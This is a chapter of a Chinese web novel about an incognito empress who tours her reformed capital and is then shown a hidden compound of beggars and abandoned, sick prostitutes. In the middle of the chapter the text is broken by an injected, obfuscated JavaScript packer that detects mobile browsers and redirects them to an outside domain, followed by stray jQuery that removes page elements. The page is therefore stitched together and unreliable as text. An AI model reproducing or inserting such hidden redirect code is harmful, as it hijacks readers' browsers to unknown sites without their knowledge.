默认冷灰
24号文字
方正启体

69. 暗娼

作者:成何本书字数:K更新时间:
    冼行璋撑着下巴,打量了他一番。


    今日出行可是有趣,先是发现东青一一直跟在后天,甩也甩不掉,又不肯出来,不知打着个什么主意。


    再是被小乞儿跟着,这个倒是先出来了。


    冼行璋能忍他这么久,还是因为他身后的烟雾没什么坏心,就是单纯想跟着她玩玩。


    否则按她的性子,早就把他揪出来了。


    “跟着朕这么久,东将军也是想暗中保护朕?”


    东青一讪讪道:“臣久不回都城,一时被都城迷了眼,今日有幸偶遇陛下,却错意,斗胆暗中护卫您,望陛下恕罪。”


    他没撒谎,被南都迷了眼是真。


    还未进城,单是城外多个县城,就是天翻地覆的变化。


    百姓看上去不再是行尸走肉了,地里收成高,人也看着壮实了。


    再往地里看,耕种的百姓虽辛苦,却有了更多工具,人人有份,劳作一下变得快速许多。


    加上有盼头,大家都干得起劲。


    进了城,连东青一这样的粗汉子也不得不感慨。


    真是一朝天子一朝民生。


    城里修着宽阔赶紧的道路,来往车辆行人都是井然有序的,地上的污水没了,连以前百姓爱往地上扔的习惯竟也不见了。


    往东看,桥下的河水清澈,浣衣的百姓三三两两,说着各自的家长里短。


    嬉闹的小童举着根子,时而去阿母哪里撒娇讨点银钱,就能去街上买上几个糖丸子、油团子。


    往西看,高大的水车一刻不停的转动,旁边一眼看不到头的工坊。


    见工坊旁还有店铺,店铺前人不多,东青一走过去。


    不看不知,对方店里摆着的竟是精面!


    店里有几个汉子在搬东西,小二见人来,热情地迎上。


    “客官,您要什么面?”


    “呃,有介绍吗?”


    小二诧异,见对方真的困惑,只当他是外地来的。


    “您这可是来得巧,夏收刚结束,咱现在都是新面,您要粗面、细面,还是精面,咱都有,当然,您若是想要陈面、麦饼咱也是有的。”


    “不过,看您气度不一般,还是细面、精面适合您,现在粮价低,咱们卖得便宜,您可别担心。”


    东青一顺着他的介绍将店里各种面一一看过,忍不住提出疑问。


    “这精面你们也敢磨?”


    小二愣了下,忍不住笑了,“客官您别多想,这精面是用水磨磨的,喏,您瞧,就在旁边这几个水磨坊,那水磨一动啊,磨麦子都是几千几万斤的磨,要什么精面没有?”


    东青一久久不能回神。


    当日晚,他就翻进了水磨坊,他用火折子照着水磨看


    他头一直往上抬,冰冷的巨石蛰伏在黑暗中,叫人胆寒,确实巨大无比。


    接下来几日更甚。


    他看到了铁匠处打农具用的都是精铁,比钢都不差。


    还被织布坊的声音引去,里面全都是女子在织布,还被街里邻坊羡慕她们得了个好工作。


    再看看,连码头边做工的汉子都能吃上满满的粟米饭,添个粗面蒸饼更是不在话下。


    东青一恍惚了。


    这里到底是哪里?


    是南朝吗?


    他是不是走错了?


    来得太早,按时间,大部队还有五六日才到,东青一想跟人发泄一下震惊都不行。


    直到今日,他终于看到了冼行璋。


    只一眼,他就认出了冼行璋。


    冼安南很喜爱这个孩子,从前总把她带到天和殿玩,东青一这样少回来的人也记得。


    只是一眨眼,小皇帝竟然长这么大了。


    她的丹凤眼跟冼安南一样,只是比之冼安南的内敛宽和,她更具锋芒,也显得更像一个帝王。


    东青一看着她,一时想到冼安南,一时想到温尚云,弄得他十分纠结。


    此刻,他还是不曾抬头看冼行璋,只是恭敬地行礼。


    冼行璋看着他背后的烟雾换来换去,也没了敲打他的欲望。


    “起吧,难得来了,一同去梨园吧。”


    直待到了梨园,齐孟等人还是不能理解。


    今日出来这一趟怎么这么奇怪。


    东青一是望守将军,比齐孟高一阶,齐孟是认得他的。


    但是按行程,他现在不该出现啊!


    至于林茨憬,她是彻底懵了。


    她摸着下巴思考。


    这女帝好像有点特异功能,难道是未卜先知?


    这样那些先进的技术好像就可以说得通了...


    而沉默的水杉:无所谓,反正陛下开心就行。


    唯一不受影响专心看戏的只有冼行璋,她还有空招呼几个人都坐下,站着看太累了。


    待在二楼视野最好的看台内,冼行璋用着管事奉上的茶点。


    台下的戏班已经很成熟了。


    虽然他们的戏腔并不很符合冼行璋脑海里的刻板印象,认真来说,他们不是在唱戏,是在演戏,就像是舞台剧音乐剧。


    台上戏子妆也不浓,但是每个人都演得入戏,仿佛身临其境。


    少年主角家中突逢盗匪,家人四散,为了寻找唯一活着的阿姐而远行,一路碰壁,惹出不少笑话。


    台下的观众都看得津津有味,见少年好不容易打死只兔子,将其捆住要生柴火,兔子却一蹬踹上少年下巴逃之夭夭,少年赶忙去抓,又路遇长得吓人的木桩,吓得直喊饶命。


    像是看了一集倒霉熊。


    台下观众纷纷大笑。


    只是这场戏也是乐景衬哀情,少年唯一的亲人阿姐早已去世。


    少年一路艰辛终化为乌有。


    散场了,冼行璋也回宫。


    东青一乖乖地告退,但他明天会在巷子等冼行璋,所以冼行璋也没管他。


    演完戏的康源擦擦眼泪,往后院去褪下戏服。


    路过的管事向他打招呼,“小康,演得不错,有进步。”


    康源腼腆地笑,“谢谢。”


    也不知怎的,也许是因为他也有个阿姐的缘故,刚刚演到后头,竟叫他分不清现实了,心里不安得很。


    可是阿姐在宜春县给贵人做女使,哪里会出事,真是胡想。


    竖日,冼行璋按约定来了。


    池钺则在宫中帮着整理奏章。


    对于陛下这种突然偷偷出宫的行为,池钺早已习惯,至少陛下看上去比她们都胸有成竹,又无人能管,那便随陛下高兴罢。


    林茨憬没有被冼行璋召来,但她却自个儿来了。


    跟在女帝身边越久她越好奇,对方有时比她还奇怪,忍不住让人想探究。


    在巷子口见到林茨憬,冼行璋只挑了挑眉,没有开口说什么,算是默许了。


    到的时候,秦雨正靠在墙边,用脚碾着小石子,有一搭没一搭地戳着。


    见人来了,他立刻站直身子,满面春风地问好。


    “贵人好,今日风清气爽,正是出城的好时候。”


    见冼行璋要踏进来,他连忙阻止:“哎哎哎,贵人可莫要脏了鞋,请往外走。”


    秦雨很上道,领着人往城外走去,一路不停嘴,叽叽喳喳。


    只可惜他遇到的都是一群冷漠的成年人加苦夏的冼行璋。


    竟没人搭理他。


    秦雨说的地方并不远,只是有些破烂潦草。


    是一个不知被废弃了多久的小院子,连个像样的门都没有,藏在都城与南郊的边界处,比贫民窟还要来得不堪。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186711|179717||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    但在这里,却是毫不突兀。


    周围的屋舍街道,跟这个院子风格是一摸一样。


    鱼龙混杂,脏污恶臭。


    至少面前的院子算得上齐整,周围的屋子多是用茅草跟木头捆住搭起的棚屋,这个院子却还能有几块砖石。


    院子不大,但里头人却极多,连冼行璋也被震了一下。


    昨日见到的几个乞儿在,还有十来个乞儿和小童,更奇怪的是,还有一些低着头或是躺着的年轻男女。


    他们个个消瘦,尤其是躺着的,看起来像是生了大病,气息奄奄。


    但是,他们长得较贫民窟格格不入,再如何也是普通人里算得上长得好的。


    冼行璋将目光转向秦雨。


    这个讲了一路话的少年,此刻却只是看着她抿唇笑了下。


    这里不仅是个乞丐窝,还是个暗娼窝。


    “你想我怎么做?是想要我救人?”


    冼行璋神色平静,好像不为这幅场景所动。


    秦雨垂眸,“这些人,他们本来不是我们这里的,是被人丢过来的。”


    他指向那群年轻男女。


    “他们都是被抛弃的,身上得了病,还有的年纪大了不要了,被扔到这块儿,我们时常接济他们一点儿,一来二去,就都成了朋友了。”


    “我知道您是...贵人。”


    秦雨有些讨好地朝她笑,双手作揖。


    “您有通天的本事呢,也可怜可怜我们吧。”他一直笑,却笑得可怜,笑得难堪。


    “那些贵人都不会管我们的,可是娴姐姐她们病得厉害,不治就要死了。”


    他的同伴不知道他为什么要做这件事,可他知道,只有他知道。


    他们是乞丐,这是没出路的,连户籍都没有,这辈子一眼就望到头了。


    可是秦雨原本不是乞丐。


    他不想让同伴们浑浑噩噩地活着,更不想让这些姐姐哥哥病死在烂泥里。


    冼行璋朝他看去一眼,抬脚朝院里走去。


    齐孟伸手欲阻止,手悬在半空,但还是放下了。


    他沉默地跟在冼行璋身后。


    往里走,先经过的是乞儿。


    这里的乞儿手里都拿着些东西,或是在木刻,或是在抖麦子,或是在教别人读书识字。


    秦雨跟着解释:“我们时常去外头做短工,下地或是搬东西,但是拿的钱少,今日您要来,我就叫他们都回来了。”


    冼行璋点头,步伐不停。


    再往里,便是被扔出来的暗娼小倌。


    她们都没有抬头,对冼行璋一行人的到来显得格外不在意。


    林茨憬可以清晰地看到一个年轻女子手臂上的累累伤痕,一层叠着一层,触目惊心。


    那个女子时不时在伤疤上挠着,神情麻木,像是失了魂魄。


    躺在稻草上的小倌,眼睫微阖,身上有股异味,脸上一条长长的伤疤,从额头延伸至下颌,虽然结痂,但棕红的印记像蜈蚣爬过,令人不忍。


    与人们所熟知的青楼花街不同,男、娼也是古人消遣的一大乐趣,自汉以前此风便已成型,后世也不曾消减,象姑馆也因此而生。


    男人为了发泄欲望,追求享乐,可谓是无所不用其极。


    这样的情形,叫冼行璋越走越慢,越走越沉重。


    她一刻不停地推着南朝走,可还是有万千百姓生活在水深火热中。


    乞丐、暗娼、苦工,她看得见,可还有流民、未教化的山民,这些她看不见,却也不敢忘。


    看得见看不见的,冼行璋都不能不在乎。


    禁军时常为扶理宫寻来孤儿乞儿,可如此近的南郊,却被忽视了。


    连乞儿也分阶级吗?


    冼行璋垂下的手慢慢篡紧。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)